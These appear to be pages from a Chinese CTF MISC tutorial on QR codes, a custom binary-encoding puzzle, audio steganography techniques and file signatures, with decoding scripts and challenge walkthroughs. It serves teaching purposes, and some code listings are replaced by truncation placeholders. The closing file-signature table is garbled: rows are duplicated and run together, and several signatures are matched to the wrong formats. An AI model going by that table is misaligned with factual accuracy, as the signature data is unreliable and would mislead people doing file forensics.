二维码 也称为 二维条码、行动条码,是指在一维条码的基础上扩展出另一维具有可读性的条码,大多数使用黑白矩形图案表示二进制数据,也有一些使用其他形状(MaxiCode),或在黑白色二维码基础上使用颜色作为第三维度的种类(JAB Code),被设备扫描后可获取其中所包含的信息。二维码的种类很多,不同的机构开发出的二维码具有不同的结构以及编写、读取方法。常见的二维码有:

在国内,二维码通常指代QR码。

二维码在MISC中占比比较重,通常会结合其他知识点一同考察(包括隐写取证)。

结构

QR码最大特征为其左上,右上,左下三个大型的如同“回”字的黑白间同心方图案,为QR码识别定位标记,失去其中一个会影响识别。

二维码存储

QR码一共提供40种不同版本存储密度的结构,对应指示图的“版本信息”,版本1为 21×21 模块(模块为QR码中的最小单元),每增加一个版本,长宽各增加4个模块,最大的版本40为177×177模块。

容错修正

QR码有容错能力,即使图形破损仍然可以读取,破损面积最高可达30%。相对而言,QR码图形面积愈大,容错率愈高,所以一般折衷使用15%容错能力(M等级)。

在CTF中,二维码通常涉及的考察点有:

  • 二进制转二维码

    python
    from PIL import Image
    
    def generate_qrcode_from_binary(binary_str, img_size):
    
        assert len(binary_str) == img_size[0] * img_size[1], "Size mismatch!"
    
        pic = Image.new("RGB", img_size, color="white")
        index = 0
        for y in range(img_size[1]):
            for x in range(img_size[0]):
                if binary_str[index] == '1':
                    pic.putpixel([x, y], (0, 0, 0))
                index += 1
        return pic
    
    # 示例二进制数据
    binary_data = "1111111000100001101111111100000101110010110100000110111010100000000010111011011101001000000001011101101110101110110100101110110000010101011011010000011111111010101010101111111000000001011101110000000011010011000001010011101101111010101001000011100000000000101000000001001001101000100111001111011100111100001110111110001100101000110011100001010100011010001111010110000010100010110000011011101100100001110011100100001011111110100000000110101001000111101111111011100001101011011100000100001100110001111010111010001101001111100001011101011000111010011100101110100100111011011000110000010110001101000110001111111011010110111011011"  
    
    img_size = (25, 25)
    qrcode = generate_qrcode_from_binary(binary_data, img_size)
    qrcode.show()
    qrcode.save("flag.png")
  • 二维码修复

  • 二维码拼接

使用到的工具:

一些简单编码的分析方式

这里我们主要是介绍一些分析编码的小trick,以下面这题为例:

题目下发了一个misc.txt,内容如下:

text
REOREREREREREOREREREREREREOOOREOREREREREOREREREOREREREOOREOREREREREOREREREREREOREOREREREREOOREOREOREOOREREOOREOOREOREOREREREREOOREOREREREREREOREOOOREOREREREOREOOOOREREOREOREOOOREOREREREREREOREOOREOOREREOOREREREREREOREOREOOOOREREOOREREREOREREOOREREREOREREOREOOOOREREOREREREOREOREOREREOREREREREOOREREOOOREOOOREOREOREOREREOOOOREOREOOREREREREOOREOOREREREOOREOOREREREOREOREOREREREOOREREOOREREO

显然这是一种特殊编码,但是从网上只能搜到一些和CTF看起来没有关系的视频。

(你最多只能搜到一些奥利奥的视频,虽然这确实是本题编码的一个关键点)

一个很自然的想法是,这里面R,E,O应该各代表了一种含义,但是仔细观察我们会发现这么一些细节:

  • E永远都会在R后面出现
  • 虽然里面似乎出现了OO和OOO,但是更可能的一种编码方式是使用单个O

??? Question "为什么一定是“O”而不是“OO”或“OOO”?"
这里可以参考哈夫曼编码的特点,我们可以注意到这一串编码结果中没有任何空格,但是存在落单的O,说明落单的O一定是有含义的。
如果编码表中存在落单的O,那么假如存在OO(O)的编码,解析OO和OOO的时候就会出现一个问题:你无法得知这里的OO到底是2个落单的O还是1个OO(显然OOO也是同理的)
这也是无分隔符编码需要注意的一个细节:某个已经编码过的元素不能称为新的待编码元素的前缀或后缀。

所以我们可以大胆推测出如下观点:

  • RE是一个整体,共同表示某种元素
  • 编码表中只存在RE和O两种元素,也就是这里的编码表示的很可能是一种只含两种元素的替换型编码。

??? Question "为什么更可能的是替换型而不是位移型?"
其实原因很简单,如果被编码的元素是位移型编码的,最终的编码呈现出来不应该只出现2种元素。
比如如果原文是Hello CTF,经过密钥为3的凯撒位移密码结果应该为Khoor FWI,所以这里我们更倾向于使用的是替换型。
当然这个说法并不绝对,比如我可能已经提前把编码前的原文处理成了一种只有两种元素的新内容呢?
所以脑子不要太死板,misc手还是很需要脑洞的。

那么只含两种元素的编码有哪些呢?常见的比如说可能是摩斯电码,二进制等等,但是摩斯电码并不能省略停顿信息,所以这里我们优先尝试将其转换为二进制。

问题来了,RE和O谁是0谁是1呢?

这里注意到题目中暗示我们“读出来”,结合我们刚才搜到的奥利奥视频,我们大胆猜测,如果把OREO看成奥利奥饼干的话,那么O就是黑色,RE就是白色,根据灯泡的亮灭我们就可以大胆去猜:O就是0(灭),RE就是1(亮)。

!!! Tip
作为misc手,大胆去猜,小心求证的观念是必不可少的。

按照上述规则解码后我们可以得到:

text
10111110111111000101111011101110010111101111101011110010101001100100101011110010111110100010111010000110101000101111101001001100111110101000011001110110011101101000011011101010110111100110001000101010110000101001111001001110010011101010111001100110

根据二进制的存储规则不妨划分为8位一组:

text
10111110 11111100 01011110 11101110 01011110 11111010 11110010 10100110 01001010 11110010 11111010 00101110 10000110 10100010 11111010 01001100 11111010 10000110 01110110 01110110 10000110 11101010 11011110 01100010 00101010 11000010 10011110 01001110 01001110 10101110 01100110

可以看到刚刚好,说明我们刚才的推断很可能是正确的。

但是如果此时拿去转ASCII,我们只会得到一堆乱码,这是怎么回事?

这时候我们就需要再次发动我们的观察力了,我们可以注意到,这些二进制的末尾都是0,也就是说他们似乎都是偶数,这很反常。

毕竟,一个正常的ASCII字符串不应该出现这种情况,那我们该怎么处理呢?

这里我们需要注意一个细节,ASCII常见字符绝大多数都位于ASCII编码表的32~127,也就是二进制中的00100000~01111111之间。

注意到什么了吗?

是的,他们的开头都是0!

所以,这里我们可以大胆猜测出题人对字符串进行了反转操作,但具体是8位一组的反转还是整个字符串的反转……管他呢,就这两种常见的反转方式,都试试就是了。

!!! Tip
作为misc手,不怕麻烦,动手去做也是必备的品质哦~

最后我们尝试发现,把整个字符串反转就能得到最终的flag:

最终的flag为furryCTF{Wanna_2_Eat_OReO_zwz?}。


Hc Misc Audio Stego (`docs/hc-misc/audio_stego.md`)


comments: true


音频隐写

MP3 (Key)

这是 MP3 最常见的隐写方法,主要是使用 MP3Stego 工具进行隐写

下载文件后是一段 MP3 音频,同时题目给出了 key:syclovergeek

因为 MP3Stego 工具隐写是需要密码的,那么可以先尝试使用工具解密提取

shell
Decode.exe -X -P syclovergeek mp3

成功拿到 flag

Wav 文件 LSB

下载文件发现是 Wav 文件,题目提示是 LSB 隐写

使用 Wav 文件 LSB 隐写工具:Stegolsb

shell
-h:隐藏声音文件中的数据
-r:从声音文件中恢复数据
-i text:文件的路径
-s text:隐藏在声音文件中的文件路径
-o text:输出文件的路径
-n integer:使用多少个 LSB [默认值:2]
-b integer:从声音文件中恢复多少字节

成功拿到 flag

慢扫描电视

题目名提示了信号类型

将 MP3 文件外放,便可以得到一张图片(一定要安静)

得到字符

text
f7liavga{1M_0105n_cC@okmei_nFge!s}

最后栅栏解密

Private Bit

使用 010 打开文件发现存在保留字位 private bit

第一个是 0,第二个是 1

提取前八个得到 01000110,转为 ASCII 码是 F

以下是对于 struct MPEG_FRAME mf 的解析

名称 长度 (bit) 作用
syncword 12 同步头,表示一帧数据的开始,共 12 位,全 1 即 0xFFF
ID 1 算法标识位,"1" 表示 MPEG 音频
layer 2 用来说明是哪一层编码
protection_bit 1 用来表明冗余信息是否被加到音频流中,以进行错误检测和错误隐蔽;"1" 是未增加,"0" 是增加
bitrate_index 4 用来指示该帧的 bitrate
sampling_frequency 2 用来指示采样频率
padding_bit 1 如果该位为 1,那么帧中包含一个额外槽,用于把平均位率调节到采样频率,否则该位必须为 0
private_bit 1 留做私用
mode 2 定义通道模式
mode_extension 2 用来标识采用了哪一种 joint_stereo
copyright 1 表明版权用,"1" 表示有版权,"0" 表示没有版权
original/home 1 表明原版还是复制,"1" 表示原版,"0" 表示复制
emphasis 2 表明加重音类型

一个 mf 的 HEADER 总共 12+1+2+1+4+2+1+1+2+2+1+1+2=32,即总共 4 字节

private_bit 为 24,所在的字节为第 3 个字节,因此该字节对应的地址为 235984+2=235986,即为第一个 private_bit 开始地址

可以发现在每个 MPEG_FRAME mf 下的 4 字节 MPEG_HEADER mpeg_hdr 中的第 24 个 bit 有一个 private bit

观察每一个 mf 组,大小为 417 或 418 字节,因此需要编写脚本

text
/* Detailed source-code truncated for AI context efficiency. */

成功拿到 flag

采样率

放入 Audacity 中没有线索

调整采样率看看

设置为 900

再查看频谱图就有了

Raw 无线电 AFSK1200

先看文件类型

在1100 Hz 和 2200 Hz 处有两个峰值

这是 AX.25 的 BFSK 中使用的两个音调

首先转换类型

需要先用 sox 把 wav 转为 raw

shell
sox -t wav 997a0b28705f4ef086acfb7e1b932336 -esigned-integer -b16 -r 22050 -t raw latlong.raw

# sox: 调用 SoX 音频处理工具
# -t wav: 指定输入文件的类型为 WAV 格式
# 997a0b28705f4ef086acfb7e1b932336: 输入文件名(看起来像是一个哈希值命名的 WAV 文件)
# -esigned-integer: 指定输出音频的编码格式为有符号整数
# -b16: 指定输出音频的位深为 16 位(即每个样本占 16 位)
# -r 22050: 指定输出音频的采样率为 22050 Hz
# -t raw: 指定输出文件的类型为 RAW(原始音频数据,无文件头)
# latlong.raw: 输出文件名

再使用工具 multimon-ng 解密

shell
multimon-ng -t raw -a AFSK1200 latlong.raw

# -t 指定输入文件的类型
# -a 指定要使用的解码协议
# AFSK1200 表示解码 1200 bps 的音频频移键控(Audio Frequency-Shift Keying) 信号,这是 APRS(自动分组报告系统)等协议常用的调制方式

DeEgger Embedder

题目附件给了一个后缀为 .pyc 文件,010 打开仔细查看数据,发现有倒置的 flag1 和 flag2

因此我们写个 python 脚本将数据倒置回来

然后 foremost 一下可以得到一个伪加密的压缩包

压缩包的注释中有 flag1 和 flag2

去除伪加密后解压可以得到一个 Dream It Possible.mp3

这里需要使用 DeEgger Embedder 提取出隐藏的数据

用上面那个工具可以提取出一大串 base32 编码的字符串,直接解码发现没有得到什么有用的信息

尝试 base32 隐写解密

python
import base64

def get_base32_diff_value(stego_line, normal_line):
    base32chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789'
    for i in range(len(normal_line)):
        if stego_line[i] != normal_line[i]:
            return abs(base32chars.index(chr(stego_line[i]))-base32chars.index(chr(normal_line[i])))
    return 0

# base32 隐写解密
def base32stego_decode(lines):
    res = ''
    for i in lines:
        stego_line = i.strip()
        normal_line = base64.b32encode(base64.b32decode(i.strip()))
        diff = get_base32_diff_value(stego_line, normal_line)
        if '=' not in str(stego_line):
            continue
        if diff:
            res += bin(diff)[2:]
        else:
            res += '0'
    return res

with open("Dream It Possible - extracted.txt", 'rb') as f:
    file_lines = f.readlines()
en=open("encrypt.txt","w")
en.write(base32stego_decode(file_lines))
en.close()

提取 base32 隐写的数据可以得到一大串二进制的字符,这里还不知道具体干啥用,转图片也没有发现有用的信息

因此我们回头分析那个 pyc 文件,直接使用 uncompyle6 就可以反编译出原来的 Python 源码

python
# uncompyle6 version 3.9.1
# Python bytecode version base 2.7 (62211)
# Decompiled from: Python 3.8.10 (tags/v3.8.10:3d8993a, May  3 2021, 11:48:03) [MSC v.1928 64 bit (AMD64)]
# Embedded file name: Fl4g.py
# Compiled at: 2017-07-02 00:15:33
from os import urandom

def generate(m, k):
    result = 0
    for i in bin(m ^ k)[2:]:
        result = result << 1
        if int(i):
            result = result ^ m ^ k
        if result >> 256:
            result = result ^ P

    return result


def encrypt(seed):
    key = int(urandom(32).encode('hex'), 16)
    while True:
        yield key
        key = generate(key, seed) + 233333333333L


def convert(string):
    return int(string.encode('hex'), 16)


P = 115792089237316195423570985008687907853269984665640564039457584007913129640997L
flag1 = 'ThIs_Fl4g_Is_Ri9ht'
flag2 = 'Hey_Fl4g_Is_Not_HeRe'
key = int(urandom(32).encode('hex'), 16)
data = open('data.txt', 'r').read()
result = encrypt(key)
encrypt1 = bin(int(data, 2) ^ eval('0x' + hex(result.next())[2:-1] * 22))[2:]
encrypt2 = hex(convert(flag1) ^ result.next())[2:-1]
encrypt3 = hex(convert(flag2) ^ result.next())[2:-1]
print 'flag1:', encrypt2
print 'flag2:', encrypt3
f = open('encrypt.txt', 'w')
f.write(encrypt1)
f.close()

# okay decompiling .\reverse_1_PyHaHa.pyc

由上述代码可知我们之前得到的二进制数据应该就是上述代码中的 encrypt.txt

因此我们写一个 Python 脚本去还原出原来的数据,具体脚本如下:

text
/* Detailed source-code truncated for AI context efficiency. */

OGG/WAV 单色图像

“120 LPM”提示指的是天气传真,一种传输单色图像的模拟模式

有一个名为 Multimode 的 OS X 应用程序可用于将音频转换回原始传真图像

但它只接受 WAV 文件作为输入,所以我首先转换 similar.ogg 为 similar.wav 使用 Audacity

正文如下:

text
section 1 of 1 of file rfax_man
begin 644 rfax_man
h5sg60BSxwp62+57aMLVTPK3i9b-t+5pGLKyPA-FxxuysvFs+BT8+o0dVsM24
hcZHRaWYEHRBGFGtqk-cMV7oqqQRzbobGRB9Kwc-pTHzCDSSMJorR8d-pxdqd
hLWpvQWRv-N33mFwEicqz+UFkDYsbDvrfOC7tko5g1JrrSX0swhn64neLsohr
h26K1mSxnS+TF1Cta8GHHQ-t1Cfp7nh-oZeFuVi5MEynqyzX8kMtXcAynSLQx
hg4o56Pu4YUZHMqDGtczKeCwXU8PZEc4lY0FbDfFfgZpJFC-a-sHGLtGJgCMZ
hksr6XNTedEUdVJqxOO5VaReoH68eEPJ2m6d9mKhlhVE7zw4Yru4DUWRCJH28
hyeth+l2I0gPnEfrTLwAc+-TPS0YKYY3K0np58gVPgdAN8RY7+rQfRDin9JSa
hPG32WG7-rTl3uthvrnDO-wD09GDIRCniuoefs8UsfiWZOLq+0awOrQxAPM+C
hxLwOJ9VUKwdn7dJduLn1KhBucvL1pr5lGiBFfUbL79cFFex+G27kT+fsQ7X5
h87mgPivWhDSQHKPXqpKGniDkYsIYpg66ZWbHp4PfcgtPukElDWENlQPSuNAQ
hnboE4Bd8kyyokt67GgfGvBVS45sMFPtlgKRlG-QPFSgbMHujA3qYemxnuqGx
hp97aXpdKpvAE8zx-oUzazoVFz32X3OxAuiWJhKEjaYKpM7f95yv1S62v+k++
+
end
sum —r/size 7468/769 section (from "begin" to "end")
sum —r/size 36513/540 entire input file

使用 XXdecoder 解码生成一个名为 的文件 rfax_man

shell
$ file rfax_man
rfax_man: gzip compressed data, was "rfax_man.py", from FAT filesystem (MS-DOS, OS/2, NT), last modified: Thu Feb  6 17:52:39 2014, max speed

解压缩是一个 Python 脚本

python
import socket,os,sys,hashlib

KEY  = "CTF{4BDF4498E4922B88642D4915C528DA8F}" # DO NOT SHARE THIS!
HOST = '109.233.61.11'
PORT = 8001

if len(sys.argv)<3:
  print 'Usage: rfax_man.py add|del file.png'
  print '\nAdd your pictures to transmission!\nSizes: 800<=width<=3200 and height/width <= 2.0.\nUse contrast grayscale pictures.'
  sys.exit(0)

data=open(sys.argv[2],'rb').read(1000000)

m=hashlib.md5(); m.update(KEY); KEYH=m.hexdigest().upper()
m=hashlib.md5(); m.update(data); h=m.hexdigest().upper()
print 'File hash',h

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((HOST, PORT))
print 'Connected.'

if sys.argv[1]=='add':
  s.sendall(KEYH+':ADD:'+data)
  s.shutdown(socket.SHUT_WR)
  print s.recv(1024)
elif sys.argv[1]=='del':
  s.sendall(KEYH+':DEL:'+h)
  print s.recv(1024)

s.close()
print 'Done.'

MP3 原版标志位

数据帧分析参考博客

重点在这,MP3 的数据帧第四字节倒数第三位为原版标志

可以在 010 的 template Results 窗口右键将结构数据导出到 csv 或者xml 文件,然后使用脚本读取

python
import pandas as pd ,numpy as np,matplotlib.pyplot as plt,cv2 
tr = pd.read_csv('z:/ctf/fox01.csv')
mp3 = open('z:/ctf/fox01.mp3','rb').read()  
org =''.join([' ' if mp3[int(i['Start'][:-1],16)+3] &4 == 0 else '8' for _,i in tr[tr['Name'].str.startswith('struct MPEG_FRAME')].iterrows()])
print(org)

同样粘贴到文本编辑器里面,选择合适的宽度,结果就是下面这样

波形(Wav)

波形隐写原理就是将波形的高低转为二进制

下载文件后是一段 WAV 音频,放入工具 Audacity 中看波形图

只有两种格式即分别对应二进制 0、1,写脚本跑一下

python
import wave
import numpy as np

def main():
    wavfile = wave.open('music.wav', "rb")

    # 获取 WAV 文件的参数
    params = wavfile.getparams()

    # 获取音频的采样点数
    nframes = params[3]

    # 从 WAV 文件中读取所有帧的数据
    datawav = wavfile.readframes(nframes)

    wavfile.close()

    # 将读取的二进制数据(datawav)转换为一个 NumPy 数组,数据类型为短整型(np.short)
    datause = np.frombuffer(datawav, dtype=np.short)

    result_bin = ''

    # 记录当前的最大值
    mx = 0

    # 循环遍历 datause 数组,除了最后一个元素
    for i in range(len(datause) - 1):
        # 更新记录最大值的变量 mx
        if datause[i] > mx:
            mx = datause[i]

        # 检查当前元素是否为负数且下一个元素为非负数
        # 如果是,这意味着音频波形从负数跨越到0或正数,这可能是隐藏数据的标记点
        if datause[i] < 0 <= datause[i + 1]:

            # 检查从负数到非负数的跨越是否足够大(大于24000)
            # 用于区分隐藏数据位是 '1' 还是 '0' 的阈值
            if mx - 24000 > 0:
                result_bin += '1'

                mx = datause[i + 1]
            else:
                result_bin += '0'

                mx = datause[i + 1]


    result_hex = ''

    # 将二进制数据转换为十六进制
    for i in range(0, len(result_bin), 4):
        result_hex += hex(int(result_bin[i: i + 4], 2))[2:]

    print(result_hex)


if __name__ == '__main__':
    main()

最后跑出来是一个 RAR 文件(看文件头)

音频倒放

打开 Audacity 反转即可

频谱图

在 Audacity 中打开文件,打开多视图

有细有粗,分别对应摩斯密码 . -

摩斯密码解码即可拿到 flag

按键式电话

在线网站 DTMF 检测演示

最后解码即可

SilentEye (音频)

一般在使用这工具情况下是因为它的音频没有隐写,使用工具打开文件解密拿到密码

DeepSound (Key)

接上一节拿到了密码,想到要用密码加密的工具

使用 DeepSound 工具打开文件,输入密码

成功拿到 flag

Velato 编译(Mid)

MIDI 文件优先考虑 Velato 编译

Velato 是一种编程语言,使用 MIDI 文件作为源代码,音符模式决定命令

shell
Vlt.exe music.mid

接着运行编译好的文件,将这段字符解密即可拿到 flag

shell
music.exe

总结

很多题目都是考了不同或者多方向的知识点,总之,学得越多越好


Hc Misc File (`docs/hc-misc/file.md`)


comments: true


文件基础

文件格式

文件是信息的基本载体。无论是文本文档、图像、音频、还是可执行程序,每个文件都遵循特定的格式和结构,以便计算机系统能够正确识别、处理和呈现数据。

在MISC方向中,理解文件格式是一项不可或缺的技能 —— 这个抽象的方向 80% 以上都要和文件扯上关系,尤其是隐写技术和取证技术,以及压缩包分析技术(如果压缩包独立出来的话)。

简介

所有文件格式的本质都是二进制文件,这是易于计算机操作的进制格式,而对我们而言,我们时常使用 十六进制 对文件进行分析。

为了便于计算机识别,文件通常会包含除文件内容本身以外的一些特征标识,我们会在稍后介绍这些标识,在此之前我们需要先告知你为什么我们用十六进制的方式分析文件。

请看下面的例子,这是压缩包文件 .zip 格式的 文件头 ,在不同数据格式下的呈现方式。

text
Binary : 01010000 01001011 00000011 00000100
Hex	   : 50 4b 03 04
Hexdump: 50 4b 03 04 ........|PK..|

我们可以看到,在 十六进制 Hex 下,文件头有着不错的可读性和可识别性,甚至在 Hexdump 下可以转化出 可打印字符串(ISO 8859-1) - PK。

魔法数字 Magic number

为了区分不同类型的文件,每个文件都会拥有一个自己的 「 特征签名 File Signatures 」 。

按照英文释义,特征签名又有: "File Magic number" 和 "File checksum or more generally the result of a hash function over the file contents" ,即 魔法数字 和 校验值。

上面例子中提到的 文件头 ,特指的"50 4b 03 04",而这里的 "50 4b 03 04" 就是 .zip压缩文件的 「 魔法数字 Magic number 」 特征签名 。

这种签名标识通常被放于头部,所以我们常用文件头来代指,严格的概念区分可以看下面关于三者的解释,但在实际中,我们不会做太严格的区分,用文件头来代指魔法数字也不会影响理解。

??? note "关于 文件头 特征签名 魔法数字"
在中文维基百科中,文件头 特征签名 魔法数字 被揉到一起,以一种奇怪的方式翻译:
"特征签名 File header"

text
" **文件头** ",这个词,在中文语境中是比较口语化的,一般我们把类似 `50 4b 03 04` 这样的文件头部hex信息都叫文件头。但这玩意其实是 File signature 的 Magic number,也就是文件特征签名中的魔法数字 (上面我们说到特征签名主要有两种 一是魔法数字 二是校验值)   
所以个人更倾向于把前面所说的文件头 翻译成 "文件头部签名" 指魔法数字刚好放于头部用于标识文件。  

拿 PNG 图片举例,PNG头部八字节其实是特征签名 - 魔法数字,IHDR块才是正式意义下的文件头,所谓的文件头未必是全部用来辩识文件类型的,更多情况是用来存放一些其他必要信息。  
在中文语境下,文件头三个字 涵盖了文件的整个头部,这也是歧义产生的重要原因。  
ref:   
https://en.wikipedia.org/wiki/File_signature   
https://en.wikipedia.org/wiki/Magic_number_(programming)  
https://en.wikipedia.org/wiki/List_of_file_signatures

在Wiki List_of_file_signatures 中有详细的表格,包含各个文件格式的十六进制文件签名以及其签名在常见 ISO 8859-1 编码中的文本时的显示方式,当然你也可以展开下表 或者在 附:文件签名表 中查看翻译后的表格。

??? Abstract "List of FileSignatures"
| Hex 签名 | ISO 8859-1 | 偏移 | 扩展名 | 描述 |
| :---------------------------------------------------- | ------------------- | ---- | -------- | ------------------------------------------------------------ |
| 23 21 | #! | 0 | | 用于传递给紧随其后的 shebang(#!)之后的程序的脚本或数据 |
| 00 00 02 00 06 04 06 00 08 00 00 00 00 00 | .............. | 0 | wk1 | Lotus 1-2-3 电子表格(版本1)文件 |
| 00 00 1A 00 00 10 04 00 00 00 00 00 | .............. | 0 | wk3 | Lotus 1-2-3 电子表格(版本3)文件 |
| 00 00 1A 00 02 10 04 00 00 00 00 00 | .............. | 0 | wk4 | wk5 |
| 00 00 1A 00 05 10 04 | ........ | 0 | 123 | Lotus 1-2-3 电子表格(版本9)文件 |
| 00 00 03 F3 | .... | 0 | | Amiga Hunk 可执行文件 |
| 00 00 49 49 58 50 52 (小端) | ..IIXPR | 0 | qxd | Quark Express 文档 |
| 00 00 4D 4D 58 50 52 (大端) | ..MMXPR | 0 | qxd | Quark Express 文档 |
| 50 57 53 33 | PWS3 | 0 | psafe3 | Password Gorilla 密码数据库 |
| D4 C3 B2 A1 (小端) | Ôò¡ | 0 | pcap | Libpcap 文件格式 |
| A1 B2 C3 D4 (大端) | ¡²ÃÔ | 0 | pcap | Libpcap 文件格式(纳秒分辨率) |
| 0A 0D 0D 0A | ␊␍␍␊ | 0 | pcapng | PCAP Next Generation 转储文件格式 |
| ED AB EE DB | í«îÛ | 0 | rpm | RedHat Package Manager (RPM) 包 |
| 53 51 4C 69 74 65 20 66 6F 72 6D 61 74 20 33 00 | SQLite format 3␀ | 0 | sqlitedb | SQLite 数据库 |
| 53 50 30 31 | SP01 | 0 | bin | Amazon Kindle 更新包 |
| 49 57 41 44 | IWAD | 0 | wad | Doom 的主要资源文件 |
| 00 | ␀ | 0 | PIC | IBM Storyboard 位图文件Windows 程序信息文件Mac Stuffit 自解压缩存档IRIS OCR 数据文件 |
| 00 00 00 00 00 00 00 00 | ␀␀␀␀␀␀␀␀ | 11 | PDB | PalmPilot 数据库/文档文件 |
| BE BA FE CA | ¾ºþÊ | 0 | DBA | Palm Desktop 日历存档 |
| 00 01 42 44 | ␀␁BD | 0 | DBA | Palm Desktop 待办事项存档 |
| 00 01 44 54 | ␀␁DT | 0 | TDA | Palm Desktop 日历存档 |
| 54 44 46 24 | TDF$ | 0 | TDF$ | Telegram Desktop 文件 |
| 54 46 58 44 | TFXD | 0 | tfxd | Telegram Desktop 文件 |
| 30 31 4F 52 | 01OR | 0 | or1 | Oracle 7.3 数据库 |
| FD FF FF FF | ýÿÿÿ | 0 | db | SQLite 3 数据库 |
| 4D 53 46 54 02 | MSFT␂ | 512 | MSFT | Compound 文件文档 |
| 00 01 00 00 00 03 00 00 | ␀␁␀␀␀␃␀␀ | 0 | ndif | Apple 包括对称差异(Binary II)文件 |
| 4F 52 43 01 | ORC␁ | 0 | orc | Oracle 数据库 |
| 1A 45 DF A3 | Eߣ | 0 | ldf | SQL Server 日志文件 |
| 50 4B 03 04 | PK␃␄ | 0 | zip | ZIP 压缩文件 |
| 50 4B 05 06 | PK␅␆ | 0 | zip | ZIP 压缩文件(带数据描述符) |
| 50 4B 07 08 | PK␇␈ | 0 | zip | ZIP 压缩文件(带 64 位结束头) |
| 50 4B 4C 49 54 45 | PKLITE | 0 | zlite | PKLITE 压缩文件 |
| FF 57 50 43 07 10 00 03 00 00 00 00 | WPC◇␀␃␀␀␀␀ | 0 | wcp | WordPerfect 文档 |
| FF 57 50 43 07 20 00 03 00 00 00 00 | WPC◠␀␃␀␀␀␀ | 0 | wcp | WordPerfect 文档 |
| FF 57 50 43 07 40 00 03 00 00 00 00 | WPC◐␀␃␀␀␀␀ | 0 | wcp | WordPerfect 文档 |
| FF 57 50 43 07 80 00 03 00 00 00 00 | WPC◘␀␃␀␀␀␀ | 0 | wcp | WordPerfect 文档 |
| 46 4C 56 01 | FLV␁ | 0 | flv | Flash 视频文件 |
| E2 68 6E 6F | âhno | 0 | nomedia | Android 无媒体文件(.nomedia) |
| 38 42 50 53 | 8BPS | 0 | psd | Adobe Photoshop 文档 |
| 47 49 46 38 39 61 | GIF89a | 0 | gif | GIF 图像 |
| FF D8 FF E0 | Øÿà | 0 | jpeg | JPEG 图像 |
| FF D8 FF E1 | Øÿá | 0 | jpeg | JPEG 图像(Exif 格式) |
| 42 4D | BM | 0 | bmp | BMP 图像 |
| 89 50 4E 47 0D 0A 1A 0A | ‰PNG␍␊␊ | 0 | png | PNG 图像 |
| 47 49 46 38 37 61 | GIF87a | 0 | gif | GIF 图像 |
| FF D8 FF E8 | Øÿè | 0 | jpeg | JPEG 图像(SPIFF 格式) |
| 4D 4D 00 2A | MM␀* | 0 | tif | TIFF 图像 |
| 49 49 2A 00 | II*␀ | 0 | tif | TIFF 图像 |
| 42 41 4D 53 | BAM$ | 0 | bam | Wayback Machine 存档文件 |
| 21 3C 61 72 63 68 3E 0A 64 6F 63 74 79 70 65 20 | <!arch>␊doctype␠ | 0 | | HTML 文档 |
| 23 44 4F 43 | #DOC | 0 | doc | WordPerfect 文档 |
| 50 4B 03 04 | PK␃␄ | 0 | jar | Java 存档文件 |
| FF D8 FF E0 00 10 4A 46 49 46 00 01 | Øÿà␀␑JFIF␀␁ | 0 | jpg | JPEG 图像 |
| FF D8 FF E1 00 60 45 78 69 66 00 00 | Øÿá␀Exif␀␀ | 0 | jpg | JPEG 图像(Exif 格式) | | FF D8 FF E1 4C 45 56 45 4C 00 00 00 | ØÿáLEVEL␀␀␀ | 0 | jpg | JPEG 图像(Exif 格式,带 GPS 数据) | | FF D8 FF E1 41 53 43 49 49 00 00 00 | ØÿáASCII␀␀␀ | 0 | jpg | JPEG 图像(Exif 格式,Adobe APP14 标记) | | FF D8 FF E1 45 78 69 66 00 00 00 00 | ØÿáExif␀␀␀␀ | 0 | jpg | JPEG 图像(Exif 格式,没有 TIFF 标记) | | 47 49 46 38 39 61 | GIF89a | 0 | gif | GIF 图像 | | FF D8 FF E0 00 10 4A 46 49 46 00 01 | Øÿà␀␑JFIF␀␁ | 0 | jpeg | JPEG 图像 | | FF D8 FF E1 00 60 45 78 69 66 00 00 | Øÿá␀Exif␀␀ | 0 | jpeg | JPEG 图像(Exif 格式) |
| FF D8 FF E1 4C 45 56 45 4C 00 00 00 | ØÿáLEVEL␀␀␀ | 0 | jpeg | JPEG 图像(Exif 格式,带 GPS 数据) |
| FF D8 FF E1 41 53 43 49 49 00 00 00 | ØÿáASCII␀␀␀ | 0 | jpeg | JPEG 图像(Exif 格式,Adobe APP14 标记) |
| FF D8 FF E1 45 78 69 66 00 00 00 00 | ØÿáExif␀␀␀␀ | 0 | jpeg | JPEG 图像(Exif 格式,没有 TIFF 标记) |
| FF D8 FF E0 00 10 4A 46 49 46 00 01 | Øÿà␀␑JFIF␀␁ | 0 | jpeg | JPEG 图像 |
| FF D8 FF E1 00 60 45 78 69 66 00 00 | Øÿá␀Exif␀␀ | 0 | jpeg | JPEG 图像(Exif 格式) | | FF D8 FF E1 4C 45 56 45 4C 00 00 00 | ØÿáLEVEL␀␀␀ | 0 | jpeg | JPEG 图像(Exif 格式,带 GPS 数据) | | FF D8 FF E1 41 53 43 49 49 00 00 00 | ØÿáASCII␀␀␀ | 0 | jpeg | JPEG 图像(Exif 格式,Adobe APP14 标记) | | FF D8 FF E1 45 78 69 66 00 00 00 00 | ØÿáExif␀␀␀␀ | 0 | jpeg | JPEG 图像(Exif 格式,没有 TIFF 标记) | | FF D8 FF E0 00 10 4A 46 49 46 00 01 | Øÿà␀␑JFIF␀␁ | 0 | jpeg | JPEG 图像 | | FF D8 FF E1 00 60 45 78 69 66 00 00 | Øÿá␀Exif␀␀ | 0 | jpeg | JPEG 图像(Exif 格式) |
| FF D8 FF E1 4C 45 56 45 4C 00 00 00 | ØÿáLEVEL␀␀␀ | 0 | jpeg | JPEG 图像(Exif 格式,带 GPS 数据) |
| FF D8 FF E1 41 53 43 49 49 00 00 00 | ØÿáASCII␀␀␀ | 0 | jpeg | JPEG 图像(Exif 格式,Adobe APP14 标记) |
| FF D8 FF E1 45 78 69 66 00 00 00 00 | ØÿáExif␀␀␀␀ | 0 | jpeg | JPEG 图像(Exif 格式,没有 TIFF 标记) |
| 49 49 2A 00 10 00 00 00 01 00 02 00 | II*␀␐␀␀␀␁␀␂␀ | 0 | tif | TIFF 图像 |
| 4D 4D 00 2A 00 00 00 08 00 0B 01 0F | MM␀␀␀␀␈␀ ␁ | 0 | tif | TIFF 图像 |
| 49 49 2A 00 10 00 00 00 02 00 03 00 | II
␀␐␀␀␀␀␀ | 0 | tif | TIFF 图像 |
